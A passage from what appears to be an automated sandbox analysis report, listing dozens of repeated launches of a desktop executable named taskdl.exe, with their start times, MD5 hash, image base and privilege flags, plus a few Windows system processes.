                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:23
                                                                                                      Start time:03:28:28
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:24
                                                                                                      Start time:03:28:28
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:25
                                                                                                      Start time:03:28:28
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:26
                                                                                                      Start time:03:28:28
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:27
                                                                                                      Start time:03:28:28
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:28
                                                                                                      Start time:03:28:29
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:29
                                                                                                      Start time:03:28:29
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:30
                                                                                                      Start time:03:28:29
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:31
                                                                                                      Start time:03:28:29
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:32
                                                                                                      Start time:03:28:29
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:33
                                                                                                      Start time:03:28:30
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:34
                                                                                                      Start time:03:28:30
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:35
                                                                                                      Start time:03:28:30
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:36
                                                                                                      Start time:03:28:30
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:37
                                                                                                      Start time:03:28:31
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:39
                                                                                                      Start time:03:28:31
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:40
                                                                                                      Start time:03:28:31
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:41
                                                                                                      Start time:03:28:31
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:42
                                                                                                      Start time:03:28:31
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:43
                                                                                                      Start time:03:28:32
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:44
                                                                                                      Start time:03:28:32
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:45
                                                                                                      Start time:03:28:32
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:46
                                                                                                      Start time:03:28:32
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:47
                                                                                                      Start time:03:28:32
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:48
                                                                                                      Start time:03:28:33
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:49
                                                                                                      Start time:03:28:33
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:50
                                                                                                      Start time:03:28:33
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:51
                                                                                                      Start time:03:28:33
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:52
                                                                                                      Start time:03:28:34
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:53
                                                                                                      Start time:03:28:34
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:54
                                                                                                      Start time:03:28:34
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:55
                                                                                                      Start time:03:28:34
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:56
                                                                                                      Start time:03:28:34
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:57
                                                                                                      Start time:03:28:35
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:58
                                                                                                      Start time:03:28:35
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:59
                                                                                                      Start time:03:28:35
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:60
                                                                                                      Start time:03:28:35
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:61
                                                                                                      Start time:03:28:35
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:62
                                                                                                      Start time:03:28:36
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:63
                                                                                                      Start time:03:28:36
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:64
                                                                                                      Start time:03:28:36
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:65
                                                                                                      Start time:03:28:36
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:66
                                                                                                      Start time:03:28:36
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:67
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\SIHClient.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\System32\sihclient.exe /cv Uh7zHirJxEOn/q4qaZ2wzQ.0.2
                                                                                                      Imagebase:0x7ff745b20000
                                                                                                      File size:380'720 bytes
                                                                                                      MD5 hash:8BE47315BF30475EEECE8E39599E9273
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:68
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x670000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:69
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:70
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:71
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\svchost.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\System32\svchost.exe -k NetworkService -p
                                                                                                      Imagebase:0x7ff62c440000
                                                                                                      File size:55'320 bytes
                                                                                                      MD5 hash:B7F884C1B74A263F746EE12A5F7C9F6A
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:false
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:72
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:73
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Windows\System32\SgrmBroker.exe
                                                                                                      Wow64 process (32bit):false
                                                                                                      Commandline:C:\Windows\system32\SgrmBroker.exe
                                                                                                      Imagebase:0x7ff7648e0000
                                                                                                      File size:329'504 bytes
                                                                                                      MD5 hash:3BA1A18A0DC30A0545E7765CB97D8E63
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:false

                                                                                                      General

                                                                                                      Target ID:74
                                                                                                      Start time:03:28:37
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x7ff6684c0000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:76
                                                                                                      Start time:03:28:38
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:80
                                                                                                      Start time:03:28:38
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                      Has elevated privileges:true
                                                                                                      Has administrator privileges:true
                                                                                                      Programmed in:C, C++ or other language
                                                                                                      Has exited:true

                                                                                                      General

                                                                                                      Target ID:82
                                                                                                      Start time:03:28:38
                                                                                                      Start date:02/08/2024
                                                                                                      Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                      Wow64 process (32bit):true
                                                                                                      Commandline:taskdl.exe
                                                                                                      Imagebase:0x400000
                                                                                                      File size:20'480 bytes
                                                                                                      MD5 hash:4FEF5E34143E646DBF9907C4374276F5
